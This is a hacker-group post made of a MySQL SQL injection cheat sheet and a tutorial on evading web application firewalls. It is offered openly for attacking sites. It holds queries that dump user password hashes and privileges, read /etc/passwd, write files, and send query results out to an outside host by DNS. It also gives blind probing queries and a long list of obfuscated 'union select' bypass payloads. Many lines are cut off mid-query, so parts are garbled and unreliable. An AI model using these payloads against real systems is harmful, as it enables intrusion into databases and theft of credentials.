INDIAN ELITE HACKERS

THIS QUERIES CAN BE USED IN NORMAL INJECTIONS,DIOS,& MANY MORE....

IF YOU GET ANY PROBLEM CONTACT US.....

Hello ! Readers

"SQL INJECTION Queries"

[THIS Queries CAN BE USED IN HACKBAR ADDON FIREFOX.]

Version:

SELECT VERSION()
SELECT @@version
SELECT @@version_comment
SELECT @@version_compile_machine
SELECT @@version_compile_os

Directories:

SELECT @@basedir
SELECT @@tmpdir
SELECT @@datadir

Users:

SELECT USER()
SELECT SYSTEM_USER()
SELECT SESSION_USER()
SELECT CURRENT_USER()
Current Database:
SELECT DATABASE()
Concatenation:
SELECT CONCAT('foo','.','bar'); #Returns: foo.bar
SELECT CONCAT_WS(' ','Hello','MySQL','and','hello','world!'); #Retu
Multi-Concat:
#Stacks the row "foo" from the table "bar" together, using the separa
#Note: This operation can by default only grab 1024 bytes, and do no
#The 1024 byte limit is stored in the @@group_concat_max_len variabl
SELECT GROUP_CONCAT(foo SEPARATOR '<br />') FROM bar

Better-Concat:

#CONCAT() and CONCAT_WS() do not have the same restriction(s) as GROU
#Which therefor allows you to concat strings together up to the @@ma
#instead of @@group_concat_max_len. The default value for @@max_allo
#1048576 bytes, instead of @@group_concat_max_len's 1024.
SELECT (CONCAT_WS(0x3A,(SELECT CONCAT_WS(0x2E,table_schema,table_name
Change Collation:
SELECT CONVERT('test' USING latin1); #Converts "test" to latin1 from
SELECT CONVERT('rawr' USING utf8); #Converts "rawr" to utf8.
Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) st
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) en
Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id RLIKE '(moo|rawr).*'
SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar
Counting Columns:
SELECT COUNT(foo) FROM bar; #Returns the amount of rows "foo" from t
Get Amount of MySQL Users:
SELECT COUNT(user) FROM mysql.user

Get MySQL Users:

SELECT user FROM mysql.user
Get MySQL User Privileges:
SELECT grantee,privilege_type,is_grantable FROM information_schema.us

Get MySQL User Privileges on Different Databases:

SELECT grantee,table_schema,privilege_type FROM information_schema.sc

Get MySQL User Privileges on Different Columns:

SELECT table_schema,table_name,column_name,privilege_type FROM information.schema

Get MySQL User Credentials & Privileges:

SELECT CONCAT_WS(0x2E,host,user,password,Select_priv,Insert_priv,Upd
Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,
File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_p
Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_
Repl_client_priv) FROM mysql.user
Get MySQL DBA Accounts:
SELECT grantee,privilege_type,is_grantable FROM information_schema.us
SELECT host,user FROM mysql.user WHERE Super_priv='Y'

Get Databases:

SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT db FROM mysql.db
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
Get Databases & Tables:
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.colu
Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.c
SELECT A Certain Row:
SELECT foo FROM bar LIMIT 0,1; #Returns row 0.
SELECT foo FROM bar LIMIT 1,1; #Returns row 1.
...
SELECT foo FROM bar LIMIT N,1; #Returns row N.
Benchmark (Heavy Query):
#Performs an MD5 calculation of "1" for 10000 times.
SELECT BENCHMARK(10000,MD5(1))
Sleep:
#Works only in MySQL 5 and above.
#Sleeps for 5 seconds, returns 0 on success.
SELECT SLEEP(5)
Conversion (Casting):
SELECT CAST('1' AS UNSIGNED INTEGER); #Returns: 1
SELECT CAST('65' AS CHAR); #Returns: A
Substring:
SELECT SUBSTR('foobar',1,3); #Returns: foo
Hexadecimal Evasion:
SELECT 0x41424344; #Returns: ABCD
SELECT 0x2E; #Returns: .
SELECT 0x3A; #Returns: :
ASCII to Number:
SELECT ASCII('A'); #Returns: 65
Number to ASCII:
SELECT CHAR(65); #Returns: A
SELECT CHAR(89); #Returns: Y
SELECT CHAR(116,101,115,116); #Returns: test
If Statement:
#Returns 1 if the database is running MySQL 5.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=53,1,0);
#Returns 1 if the database is running MySQL 4.
SELECT IF(ASCII(SUBSTR(VERSION(),1,1))=52,1,0);
Case Statement:
#Returns 1 if the database is running MySQL 5.
SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=53) THEN 1 ELSE 0 END
#Returns 1 if the database is running MySQL 4.
SELECT CASE WHEN (ASCII(SUBSTR(VERSION(),1,1))=52) THEN 1 ELSE 0 END
Read File(s):
#Requires you to have the File_priv in mysql.user. On error this stat
SELECT LOAD_FILE('/etc/passwd')
Write File(s):
#You must use quotes on the filename!
SELECT 'Hello World' INTO DUMPFILE '/tmp/test.txt'
SELECT IF((SELECT NULL INTO DUMPFILE '/tmp/test.txt')=NULL,NULL,'Hel
Logical Operator(s):
AND, &&; #The AND operator have && as an alternative syntax.
OR, ||;  #The OR operator have || as an alternative syntax.
NOT, !; #The NOT operator have ! as an alternative syntax.
XOR; #The XOR operator got no alternative syntax.
Fuzzy Code Comment:
#Code within /*! are getting executed by MySQL. Additional /*! can be
SELECT/*!CONCAT_WS(0x3A,user,host,password)/*!FROM/*!mysql.user*/
Comments:
SELECT foo, bar FROM foo.bar-- Single line comment
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar# Single line comment
SELECT foo, bar FROM foo.bar;%00 Batched query with additional NULL-
A few evasions/methods to use between your MySQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Fuzzy Comment (/*!); #Be sure to end your query with (*/)
Parenthesis, ( and ); #Can also be used as separators when used right
Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a sep
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2))
Auto-Casting to Right Collation:
SELECT UNHEX(HEX(USER())); #UNHEX() Converts the hexadecimal value(s)
DNS Requests (OOB (Out-Of-Band)):
#For more information check this.
SELECT YourQuery INTO OUTFILE ‘\\\\www.your.host.com\\?file_to_save_a
Command Execution:
#If you're on a MySQL 4.X server, it's possible to execute OS comman
#It can be done if you're able to upload a shared object into /usr/
#The file extension is .so, and it must contain an "User Defined Fun
#Get raptor_udf.c, it's the source-code for just that feature.
#Remember to compile it for the right CPU Architecture.
#The CPU architecture can be resolved by this query:
SELECT @@version_machine;
<blockquote>A couple of useful blind queries to fingerprint the data
All of these return either True or False, as in, you either get a res
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=53;
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(VERSION(),1,1))=52
Running as root:
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SUBSTR(USER(),1,4))=U
Got File_priv:
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT File_priv FROM mysql.user
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
LIMIT 0,1)=CHAR(89),1,0)=1
Got Super_priv (Are we DBA):
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT Super_priv FROM mysql
(CONCAT_WS(CHAR(64),User,Host) LIKE USER()) OR
(CONCAT(User,UNHEX(HEX(0x4025))) LIKE USER()) OR
(CONCAT_WS(CHAR(64),User,Host) LIKE CONCAT(SUBSTR(USER(),1,INSTR(US
LIMIT 0,1)=CHAR(89),1,0)=1
Can MySQL Sleep:
#This query will return True and should take above 1 second to execut
SELECT * FROM foo.bar WHERE id=1 AND IF((SELECT SLEEP(1))=0,1,0)=1
Can MySQL Benchmark:
SELECT * FROM foo.bar WHERE id=1 AND IF(BENCHMARK(1,MD5(0))=0,1,0)=1
Are we on *NIX:
SELECT * FROM foo.bar WHERE id=1 AND ASCII(SUBSTR(@@datadir,1,1))=47
Are we on Windows:
SELECT * FROM foo.bar WHERE id=1 AND IF(ASCII(SUBSTR(@@datadir,2,1))=
Do a certain column exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(column_name) FROM information
Do a certain table exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_name) FROM
Do a certain database exist:
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(table_schema) FROM
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(schema_name) FROM information
SELECT * FROM foo.bar WHERE id=1 AND (SELECT COUNT(db) FROM mysql.db

more queries comming soon

#Indian_Elite_Hackers

Hello!
readers

Today I share a tutorial on

WAF Byassing In SQL Injections

What is WAF ?
WAF stands for Web Application Firewall. It is
widely used nowadays to detect and defend
SQL Injections and Cross Site Scripting (XSS)
attacks.

How does it Work?
When WAF detects any malicious input from
end user, It gives 403 Forbidden, 406 Not
Acceptable or any Kind of Custom errors

How to bypass this things?

what to do next? we cant do our further
injection right?

Well its time to use various techniques to
bypass thing.
Some of these techniques are
mentioned below:

# Case Changing:

Most of the Waf's only filter lowercase or
higher-case keywords. We can easily evade
that kind of wafs by using alternate case.

if union select is forbidden , we can always try
UNION SELECT instead. And if both does not
work, We can try our luck with using mixture
of both. like UniOn seLeCt

# Using Comments

It is the most famous method to bypass WAF .

SQL comments really help us in many cases.

They play their important role in killing some
Waf's Restrictions. e.g

// , -- , --+ , #, -- -

# Inline Comments

Some WAF’s filter keywords like

/union\sselect/ig

We can bypass these filters by
using inline comments most of the time

http://localhost/waf.php?id=1 /*!union*/ /*!
select*/ 1,2,3--

Read SQLi Errors carefully. Sometimes
they left error from which we can have idea
that how waf is working on this site.
Anyways, We were talking about Filtered
Keywords. So it does not mean that waf is
only filtering union select. It may be filtering
all SQL keywords like table_name, column_name etc
So might need to apply these inline comments
on those keywords as well.

Example

http://localhost/waf.php?id=1 /*!union*/ /*!
select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!
information_schema.tables*/ /*!where*/ /*!
table_schema*/=database()--

# Double use of Keywords

Sometimes WAF removes whole keyword from
the query and execute it and throw errors
In such cases, we can use keywords in this
way

http://localhost/waf.php?id=1 UNunionION
SELselectECT 1,2,3,4,5,6--

Anyways It totally depends upon the scenario.
Im just giving a common Idea. Rest is upon
you that how you use it.

# Using Different types of Whitespaces

Sometime Waf may be filtering the whitespace

we are using between keywords. We mostly
use Spaces But space is not the only
whitespace we can use in SQL injection. We
have some other options as well
for example
+ . %20

is use for space, but we can try using one
of these whitespaces . some examples are

%09
%0A %0B %0C %0D %A0

inurl:
union%0Bselect%0B1,2,3--

# Encoding

We can always try our luck with URL encode
thing to bypass WAF. For example we can use

union select 1,/*!table_name*/,3 from
information_schema.tables where table_
schema=database()

as

union%20select%201,%2f%2a%21table_name
%2a%2f,3%20from%20information_
schema.tables%20where%20table_schema%
3Ddatabase%28%29

but sometime waf filter also filter % itself. So
we have to use double URL encoding in that
case

union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529

# Unexpected Input

This scenario is very rare that we have to use
buffer overflow or give unexpected query /
request to trick WAF filters.
for example:

http://localhost/waf.php?id=1 and (select 1)=
(Select
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)
union select 1,2,3,4,5--

This thing only worked once for me. But
knowledge is Power, may be you face any
scenario that can be bypassed by using buffer
overflow

# use all above mentioned techniques together

oh!!! .... tried all those things but still its showing
NOT ACCEPTABLE or FORBIDDEN.

well its
time to use all these above mentioned
techniques combined.

For example: you can use alternative cases
with inline comments or obfuscation.

#Some Common Union Select Solutions:

%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%
0D%0A
REVERSE(noinu)+REVERSE(tceles)
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
/**//*!union*//**//*!select*//**/
/*!uNIOn*/ /*!SelECt*/
+union+distinct+select+
+union+distinctROW+select+
uNiOn aLl sElEcT

I hope you have enjoyed this article.
Next Time We Share Some More Tutorials on WAF bypassing.

Please
give us your feedback. So that we may be able
to make things more clear for you next time .

#Indian_Elite_Hackers